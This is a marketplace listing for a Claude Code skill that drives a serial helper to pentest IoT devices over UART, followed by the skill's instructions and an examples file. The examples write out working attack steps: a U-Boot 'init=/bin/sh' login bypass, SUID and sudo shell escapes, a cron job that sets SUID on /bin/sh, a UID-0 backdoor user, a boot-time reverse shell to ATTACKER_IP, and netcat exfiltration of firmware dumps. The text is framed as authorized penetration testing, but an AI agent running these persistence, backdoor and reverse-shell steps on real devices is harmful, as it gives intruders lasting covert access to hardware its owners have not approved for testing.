
Picocom
- 1 installs
- 404 repo stars
- Updated August 5, 2026
- aiskillstore/marketplace
picocom is a Claude Code skill that interacts with IoT device UART serial consoles via picocom for penetration-testing tasks like enumeration, bootloader manipulation, and shell access.
About
picocom is a Claude Code skill for interacting with IoT and embedded device UART serial consoles during security and penetration testing. It drives a bundled Python serial helper to run commands over /dev/ttyUSB* ports, log all I/O, and passively monitor boot logs. A developer or security tester uses it for device enumeration, bootloader interaction, vulnerability discovery, and gaining shell access on embedded hardware.
- Interacts with IoT device UART consoles via picocom for pentesting
- Bundles a Python serial_helper.py with clean-output, prompt detection, and monitor mode
- Covers bootloader manipulation, device enumeration, and gaining root shells
Picocom by the numbers
- 1 all-time installs (skills.sh)
- Ranked #1,834 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
picocom capabilities & compatibility
Free; needs local picocom, pyserial, and physical UART hardware
- Capabilities
- security audit · pentesting · serial console
- Use cases
- security audit
- Platforms
- Linux
- Runs
- Runs locally
- Pricing
- Free
What picocom says it does
This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations.
ALL commands run by Claude will be logged to `/tmp/serial_session.log` by default.
npx skills add https://github.com/aiskillstore/marketplace --skill picocomAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 1 |
|---|---|
| repo stars | ★ 404 |
| Last updated | August 5, 2026 |
| Repository | aiskillstore/marketplace ↗ |
What it does
Interact with IoT/embedded UART consoles for pentesting - enumeration, bootloader work, and shell access.
Who is it for?
Pentesting embedded/IoT hardware over a USB-to-serial UART connection
Skip if: General software testing or anything without physical serial access to a device
When should I use this skill?
The user needs to interact with embedded devices, IoT hardware, or serial consoles
What you get
Reliable, logged serial I/O with clean output and passive monitoring for security testing.
- serial session log
- device enumeration output
- monitored UART capture
By the numbers
- logs to /tmp/serial_session.log by default
- monitor mode default duration 30s
Files
IoT UART Console (picocom)
This skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.
Prerequisites
- picocom must be installed on the system
- Python 3 with pyserial library (
sudo pacman -S python-pyserialon Arch, orpip install pyserial) - UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)
- Appropriate permissions to access serial devices (typically /dev/ttyUSB or /dev/ttyACM)
Recommended Approach: Serial Helper Script
IMPORTANT: This skill includes a Python helper script (serial_helper.py) that provides a clean, reliable interface for serial communication. This is the RECOMMENDED method for interacting with IoT devices.
Default Session Logging
ALL commands run by Claude will be logged to `/tmp/serial_session.log` by default.
To observe what Claude is doing in real-time:
# In a separate terminal, run:
tail -f /tmp/serial_session.logThis allows you to watch all serial I/O as it happens without interfering with the connection.
Why Use the Serial Helper?
The helper script solves many problems with direct picocom usage:
- Clean output: Automatically removes command echoes, prompts, and ANSI codes
- Prompt detection: Automatically detects and waits for device prompts
- Timeout handling: Proper timeout management with no arbitrary sleeps
- Easy scripting: Simple command-line interface for single commands or batch operations
- Session logging: All I/O logged to
/tmp/serial_session.logfor observation - Reliable: No issues with TTY requirements or background processes
Quick Start with Serial Helper
Single Command:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"With Custom Prompt (recommended for known devices):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"Interactive Mode:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactiveBatch Commands from File:
# Create a file with commands (one per line)
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txtJSON Output (for parsing):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --jsonDebug Mode:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debugSession Logging (for observation):
# Terminal 1 - Run with logging
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.logNote: See OBSERVING_SESSIONS.md for comprehensive guide on monitoring serial sessions.
Monitor Mode (Passive Listening)
NEW FEATURE: Monitor mode is designed for passive UART monitoring where the device outputs logs without prompts or interaction.
Use cases:
- Monitoring boot logs from devices without interactive consoles
- Capturing triggered output when external actions are performed
- Testing if network requests or hardware events generate UART logs
- Baseline vs triggered output comparison
Basic passive monitoring:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--logfile /tmp/uart.logMonitor with external trigger script:
# Run external script after 5 seconds and capture triggered UART output
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "python3 /path/to/test_script.py" \
--trigger-delay 5 \
--logfile /tmp/triggered_uart.logMonitor with baseline capture:
# Capture 10s baseline, run trigger at 15s, continue for total 60s
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 15 \
--baseline-duration 10 \
--logfile /tmp/reboot_monitor.logMonitor mode options:
--duration SECONDS- Total monitoring time (default: 30)--trigger-script CMD- External command/script to run during monitoring--trigger-delay SECONDS- When to run trigger (default: 5)--baseline-duration SECONDS- Capture baseline before trigger (default: 0)--logfile FILE- Log all I/O to file--json- Output results in JSON format
Output includes:
- Real-time timestamped console output
- Baseline vs trigger vs post-trigger categorization
- Trigger script exit code and output
- Summary statistics (bytes captured in each phase)
- Timeline with all captured data
Serial Helper Options
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
--monitor, -m Passive monitoring mode (just listen, no commands)
Connection Options:
--device, -d DEV Serial device (default: /dev/ttyUSB0)
--baud, -b RATE Baud rate (default: 115200)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
--at-mode, -a AT command mode for cellular/satellite modems
Monitor Mode Options:
--duration SECONDS Monitoring duration (default: 30.0)
--trigger-script CMD External script/command to run during monitoring
--trigger-delay SECONDS Seconds before running trigger (default: 5.0)
--baseline-duration SEC Baseline capture duration (default: 0.0)
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (can tail -f in another terminal)
--debug Show debug informationCommon Prompt Patterns
The helper script includes common prompt patterns, but you can specify custom ones:
# Uniview camera
--prompt "User@[^>]+>"
# Standard root/user prompts
--prompt "[#\$]\s*$"
# U-Boot bootloader
--prompt "=>\s*$"
# Custom device
--prompt "MyDevice>"AT Command Mode (Cellular/Satellite Modems)
IMPORTANT: When interacting with AT command interfaces (cellular modems, satellite modems, GPS modules), use the --at-mode flag. AT interfaces do NOT use shell prompts - they respond with OK, ERROR, or specific result codes.
When to use AT mode:
- Cellular modems (Quectel, Sierra Wireless, u-blox, SIMCom, Telit)
- Satellite modems (Iridium, Globalstar)
- GPS modules with AT interface
- Any device that responds to AT commands with OK/ERROR
Basic AT command usage:
# Single AT command
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT" \
--logfile /tmp/serial_session.log
# Get modem info
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "ATI" \
--logfile /tmp/serial_session.log
# Get IMEI
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT+CGSN" \
--logfile /tmp/serial_session.logAT mode enumeration example:
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"
# Basic connectivity test
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"
# Device identification
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"
# SIM and network info
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"Batch AT commands from file:
# Create AT command script
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF
# Execute batch
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--script at_enum.txt \
--logfile /tmp/serial_session.logInteractive AT session:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--interactive \
--logfile /tmp/serial_session.logAT mode response handling:
OK- Command succeededERROR- Command failed (generic)+CME ERROR: <code>- Mobile equipment error with code+CMS ERROR: <code>- SMS-related error with codeNO CARRIER- Connection lost/failedCONNECT- Data connection established
Common AT command categories for pentesting:
# Network and connectivity
AT+CGDCONT? # PDP context (APN settings)
AT+QIOPEN # Open socket (Quectel)
AT+QISTATE? # Socket state (Quectel)
# Device management
AT+CFUN? # Phone functionality
AT+CPIN? # SIM PIN status
AT+CLCK # Facility lock (SIM lock status)
# Firmware and updates
AT+CGMR # Firmware version
AT+QGMR # Extended firmware info (Quectel)
# Debug/engineering modes (may expose sensitive info)
AT+QENG # Engineering mode (Quectel)
AT$QCPWD # Password commands (Qualcomm)Device Enumeration Example with Serial Helper
Here's a complete example of safely enumerating a device:
# Set variables for convenience
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>" # Adjust for your device
LOGFILE="/tmp/serial_session.log"
# Get available commands
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"
# System information
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"
# Network configuration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"
# Process listing (may need longer timeout)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"
# File system exploration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"
# Device identifiers
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.
Pentesting Use Case: Trigger-Based UART Analysis
A common IoT pentesting scenario: testing if network requests, API calls, or hardware events trigger debug output on UART.
Example: Testing if API requests generate UART logs
# Monitor UART while sending network request
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
--trigger-delay 5 \
--logfile /tmp/api_test.log
# Review what the device logged when API was called
cat /tmp/api_test.logExample: Testing authentication attempts
# Monitor UART during login attempts
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 45 \
--trigger-script "python3 brute_force_login.py" \
--trigger-delay 10 \
--baseline-duration 5 \
--logfile /tmp/auth_test.log \
--json > /tmp/auth_results.jsonExample: Boot sequence analysis
# Capture device boot logs (reboot via network API)
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 120 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 5 \
--logfile /tmp/boot_sequence.logWhy this is useful for pentesting:
- Devices often leak sensitive info (passwords, keys, paths) in UART logs
- Debug output may reveal internal API endpoints or protocols
- Error messages can expose vulnerabilities
- Boot logs show secure boot status, loaded modules, and filesystem paths
- Authentication attempts may log usernames/tokens in cleartext
IMPORTANT FOR CLAUDE CODE: When using this skill, ALWAYS include --logfile /tmp/serial_session.log in every command so the user can monitor activity with tail -f /tmp/serial_session.log.
Alternative: Direct picocom Usage (Advanced)
If you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.
Instructions
1. Connection Setup
CRITICAL: picocom runs interactively and CANNOT be controlled via standard stdin/stdout pipes. Use the following approach:
1. Always run picocom in a background shell using run_in_background: true 2. Monitor output using the BashOutput tool to read responses 3. Send commands by using Ctrl-A Ctrl-S to enter send mode, or by writing to the device file directly
Default connection command:
picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0Defaults (unless specified otherwise):
- Baud rate: 115200 (most common for IoT devices)
- Device: /dev/ttyUSB0 (most common USB-to-serial adapter)
- Always use `--nolock`: Prevents file locking issues unless user specifically requests otherwise
Alternative baud rates (if 115200 doesn't work):
- 57600
- 38400
- 19200
- 9600
- 230400 (less common, high-speed)
Alternative device paths:
- /dev/ttyUSB0, /dev/ttyUSB1, /dev/ttyUSB2, ... (USB-to-serial adapters)
- /dev/ttyACM0, /dev/ttyACM1, ... (USB CDC devices)
- /dev/ttyS0, /dev/ttyS1, ... (built-in serial ports)
Essential picocom options:
-bor--baud: Set baud rate (use 115200 by default)--nolock: Disable file locking (ALWAYS use unless user asks not to)--omap crlf: Map output CR to CRLF (helps with formatting)--echo: Enable local echo (see what you type)--logfile <file>: Log all session output to a file (recommended)-qor--quiet: Suppress picocom status messages--imap lfcrlf: Map LF to CRLF on input (sometimes needed)
2. Detecting Console State
After connecting, you need to identify what state the device is in:
a) Blank/Silent Console:
- Press Enter several times to check for a prompt
- Try Ctrl-C to interrupt any running processes
- If still nothing, the device may be in bootloader waiting state - try space bar or other bootloader interrupt keys
b) Bootloader (U-Boot, etc.):
- Look for prompts like
U-Boot>,=>,uboot>,Boot> - Bootloaders often have a countdown that can be interrupted
- Common interrupt keys: Space, Enter, specific keys mentioned in boot messages
c) Login Prompt:
- Look for
login:orusername:prompts - Common default credentials for IoT devices:
- root / root
- admin / admin
- root / (no password)
- admin / password
- Check manufacturer documentation or online databases
d) Shell Access:
- You may drop directly into a root shell
- Look for prompts like
#,$,>, or custom prompts
2.1. BusyBox Shells (Most IoT Devices)
IMPORTANT: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.
Identifying BusyBox:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --listBusyBox Limitations:
- Many standard Linux commands may be simplified versions
- Some common flags/options may not be available
- Features like tab completion may be limited or absent
- Some exploitation techniques that work on full Linux may not work
Common BusyBox commands available:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbinBusyBox-specific considerations for pentesting:
psoutput format may differ from standard Linux- Some privilege escalation techniques require commands not in BusyBox
- File permissions still work the same (SUID, sticky bits, etc.)
- Networking tools are often present (telnet, wget, nc/netcat, ftpget)
- Python/Perl/Ruby are usually NOT available (device storage constraints)
Useful BusyBox commands for enumeration:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharingReference Documentation:
3. Interacting with the Console
Sending commands to picocom:
Since picocom is interactive, you have several options:
Option A: Write directly to the device file
echo "command" > /dev/ttyUSB0Option B: Use expect or similar tools
expect -c "
spawn picocom -b 115200 --nolock /dev/ttyUSB0
send \"command\r\"
expect \"#\"
exit
"Option C: Use screen instead of picocom (may be easier to script)
screen /dev/ttyUSB0 115200Picocom keyboard shortcuts:
Ctrl-A Ctrl-X: Exit picocomCtrl-A Ctrl-Q: Quit without resettingCtrl-A Ctrl-U: Increase baud rateCtrl-A Ctrl-D: Decrease baud rateCtrl-A Ctrl-T: Toggle local echoCtrl-A Ctrl-S: Send file (can be used to send commands)
4. Device Enumeration
Once you have shell access, gather the following information:
System Information:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1User and Permission Information:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoersNetwork Services:
# Listening services
netstat -tulpn
ss -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*Interesting Files and Directories:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/5. Bootloader Exploitation
If you have access to the bootloader (U-Boot, etc.):
Common U-Boot commands:
# Print environment variables
printenv
# Modify boot arguments (e.g., init=/bin/sh for root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot
# Alternative: single user mode
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"
# Boot from network (TFTP) for custom firmware
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000
# Memory examination
md <address> # Memory display
mm <address> # Memory modify
mw <address> <value> # Memory write
# Flash operations
erase <start> <end>
cp.b <source> <dest> <count>
# Other useful commands
help
bdinfo # Board info
version
reset6. Privilege Escalation (if not root)
Check for common vulnerabilities:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab7. Persistence and Further Access
Establish additional access methods:
# Add SSH access
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add a backdoor user
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local8. Firmware Extraction
Extract firmware for offline analysis:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If USB storage is available:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt9. Cleanup and Exit
To exit picocom:
- Press
Ctrl-Afollowed byCtrl-X - Or use
killall picocomfrom another terminal
If you need to kill the background shell:
- Use the KillShell tool with the appropriate shell_id
Common IoT Device Scenarios
Scenario 1: No Authentication Shell
# Connect
picocom -b 115200 --nolock /dev/ttyUSB0
# Press Enter, get root shell immediately
# Enumerate and exploitScenario 2: Password-Protected Shell
# Connect and see login prompt
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaultsScenario 3: Bootloader to Root Shell
# Interrupt boot countdown (press Space/Enter)
# Get U-Boot prompt
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Get root shell without authenticationScenario 4: Limited Shell Escape
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'Security Testing Checklist
- [ ] Identify device and firmware version
- [ ] Check for default credentials
- [ ] Enumerate network services and open ports
- [ ] Check for hardcoded credentials in files
- [ ] Test for command injection vulnerabilities
- [ ] Check file permissions (SUID, world-writable)
- [ ] Test bootloader security (password protection, command restrictions)
- [ ] Check for outdated software with known CVEs
- [ ] Test for privilege escalation vectors
- [ ] Extract firmware for offline analysis
- [ ] Document all findings with screenshots/logs
Best Practices
1. Always log your session: Use --logfile session.log 2. Document everything: Take notes on commands, responses, and findings 3. Be patient: Some devices are slow and may take time to respond 4. Check baud rate: Wrong baud rate = garbage output. Try common rates if you see garbled text 5. Research the device: Look up known vulnerabilities, default credentials, and common issues 6. Use proper authorization: Only perform pentesting on devices you own or have explicit permission to test 7. Backup: If possible, backup firmware before making modifications 8. Be careful with bootloader: Incorrect bootloader commands can brick devices
Troubleshooting
Problem: Garbled text or strange characters
- Solution: Wrong baud rate. Try 115200, 57600, 38400, 19200, 9600
Problem: No output at all
- Solution: Check physical connections, try pressing Enter, check if device is powered on
Problem: "Device busy" or "Permission denied"
- Solution: Close other programs using the serial port, check user permissions (
sudo usermod -a -G dialout $USER)
Problem: Commands not echoing
- Solution: Enable local echo with
--echoflag or pressCtrl-A Ctrl-Tin picocom
Problem: Wrong line endings (extra lines or no line breaks)
- Solution: Use
--omap crlfor--imap lfcrlfoptions
Example Usage
# Basic connection (using defaults)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0
# Connection with logging
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0
# Quiet mode (suppress picocom messages)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0
# Run in background for scripted interaction
picocom -b 115200 --nolock /dev/ttyUSB0 &
# Then use BashOutput to monitorReferences
- picocom documentation
- U-Boot documentation
- IoT pentesting resources and vulnerability databases
- Device-specific documentation and datasheets
IoT UART Console Examples
This file contains practical examples of using the picocom skill for IoT penetration testing.
Example 1: Basic Connection and Enumeration
Scenario: You have a USB-to-serial adapter connected to an unknown IoT device.
Steps:
1. Identify the serial device:
# Check for USB serial devices
ls -l /dev/ttyUSB* /dev/ttyACM*
# Or use dmesg to see recently connected devices
dmesg | tail -202. Connect with picocom:
# Start with defaults (115200 baud, /dev/ttyUSB0)
picocom -b 115200 --nolock --echo --logfile device_session.log /dev/ttyUSB03. Interact with the device:
- Press Enter a few times to see if you get a prompt
- If you see a login prompt, try default credentials (root/root, admin/admin)
- If you get a shell, start enumeration
4. Basic enumeration commands:
# Who am I?
id
whoami
# System information
uname -a
cat /proc/version
# Check if using BusyBox (most IoT devices do)
busybox
busybox --list
# Network configuration
ifconfig -a
ip addr show
# Running processes
ps aux5. BusyBox Detection (most IoT devices):
# Most IoT shells use BusyBox - a minimal Unix toolkit
# Check what you're working with:
ls -la /bin/sh # Often symlinked to busybox
busybox --list # See available commands
# Note: BusyBox commands may have limited options compared to full Linux
# Example: 'ps aux' might work differently or not support all flagsExample 2: U-Boot Bootloader Exploitation
Scenario: Device has U-Boot bootloader with accessible console during boot.
Steps:
1. Connect and watch boot process:
picocom -b 115200 --nolock --echo /dev/ttyUSB02. Interrupt boot:
- Watch for "Hit any key to stop autoboot" message
- Press Space or Enter quickly to interrupt
3. Explore U-Boot environment:
U-Boot> printenv
U-Boot> help
U-Boot> version4. Modify boot arguments to gain root shell:
U-Boot> setenv bootargs "${bootargs} init=/bin/sh"
U-Boot> bootOr alternatively:
U-Boot> setenv bootargs "${bootargs} single"
U-Boot> boot5. Once booted with init=/bin/sh:
# Mount root filesystem as read-write
mount -o remount,rw /
# Mount other filesystems
mount -a
# Now you have root access - proceed with enumerationExample 3: Bypassing Login Authentication
Scenario: Device boots to a login prompt, but you don't know the credentials.
Method 1: Bootloader modification (if available):
# In U-Boot:
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Or try single user mode:
setenv bootargs "${bootargs} single"
bootMethod 2: Default credentials:
# Common IoT default credentials to try:
root : root
root : (empty/no password)
admin : admin
admin : password
admin : (empty)
user : user
support : supportMethod 3: Password file examination (if you get any access):
# Check if shadow file is readable (misconfig)
cat /etc/shadow
# Check for plaintext passwords in config files
grep -r "password" /etc/ 2>/dev/null
find / -name "*password*" -type f 2>/dev/nullExample 4: Privilege Escalation from Limited User
Scenario: You have shell access but as a limited user, need root.
Check for SUID binaries:
find / -perm -4000 -type f 2>/dev/nullCommon exploitable SUID binaries:
# If find has SUID:
find /etc -exec /bin/sh \;
# If vim/vi has SUID:
vim -c ':!/bin/sh'
# If less has SUID:
less /etc/passwd
!/bin/sh
# If python has SUID:
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
# If perl has SUID:
perl -e 'exec "/bin/sh";'Check sudo permissions:
sudo -l
# If you can run specific commands with sudo, abuse them:
# Example: sudo vim -> :!/bin/sh
# Example: sudo find -> sudo find . -exec /bin/sh \;Check for writable cron jobs:
ls -la /etc/cron*
crontab -l
find /etc/cron* -writable 2>/dev/null
# If you can write to a cron job:
echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab
# Wait a minute, then:
/bin/sh -p # Runs as rootExample 5: Firmware Extraction
Scenario: You have root access and want to extract firmware for offline analysis.
Step 1: Identify flash partitions:
# Check MTD partitions (most common on embedded devices)
cat /proc/mtd
# Example output:
# dev: size erasesize name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00140000 00010000 "kernel"
# mtd3: 00e90000 00010000 "rootfs"Step 2: Dump partitions:
# Create mount point for USB storage (if available)
mkdir /mnt/usb
mount /dev/sda1 /mnt/usb
# Dump each partition
dd if=/dev/mtd0 of=/mnt/usb/uboot.bin bs=1024
dd if=/dev/mtd1 of=/mnt/usb/uboot-env.bin bs=1024
dd if=/dev/mtd2 of=/mnt/usb/kernel.bin bs=1024
dd if=/dev/mtd3 of=/mnt/usb/rootfs.bin bs=1024
# Or dump to /tmp and transfer via network
dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024
# Transfer via netcat
nc 192.168.1.100 4444 < /tmp/rootfs.bin
# (On attacker machine: nc -l -p 4444 > rootfs.bin)Step 3: Offline analysis:
# On your analysis machine:
# Use binwalk to analyze the firmware
binwalk rootfs.bin
# Extract filesystem
binwalk -e rootfs.bin
# Or use firmware-mod-kit
extract-firmware.sh rootfs.bin
# Look for:
# - Hardcoded credentials
# - Private keys
# - Vulnerable services
# - Backdoors
# - Outdated software versionsExample 6: Establishing Persistence
Scenario: You have root access and want to maintain access for further testing.
Method 1: SSH Access:
# Check if SSH/Dropbear is installed
which sshd dropbear
# Start SSH service if not running
/etc/init.d/dropbear start
# or
/etc/init.d/sshd start
# Add your SSH public key
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Ensure SSH starts on boot
update-rc.d dropbear enable
# or add to /etc/rc.localMethod 2: Backdoor User Account:
# Add a user with UID 0 (root equivalent)
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
# Set password
passwd backdoor
# Or create user without password
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwdMethod 3: Reverse Shell on Boot:
# Add to startup script
echo '#!/bin/sh' > /etc/init.d/S99backdoor
echo 'while true; do' >> /etc/init.d/S99backdoor
echo ' sleep 300' >> /etc/init.d/S99backdoor
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
echo 'done &' >> /etc/init.d/S99backdoor
chmod +x /etc/init.d/S99backdoorExample 7: Escaping Restricted Shell
Scenario: You get shell access but it's a restricted/limited shell.
Identify the restriction:
echo $SHELL
echo $PATH
which bash shCommon escape techniques:
1. Via editors:
# Vi/Vim escape
vi /etc/passwd
# Press ESC, then type:
:!/bin/sh
# Or:
:set shell=/bin/sh
:shell2. Via pagers:
# Less escape
less /etc/passwd
!/bin/sh
# More escape
more /etc/passwd
!/bin/sh3. Via scripting languages:
# Python
python -c 'import os; os.system("/bin/sh")'
# Perl
perl -e 'exec "/bin/sh";'
# Ruby
ruby -e 'exec "/bin/sh"'
# Lua
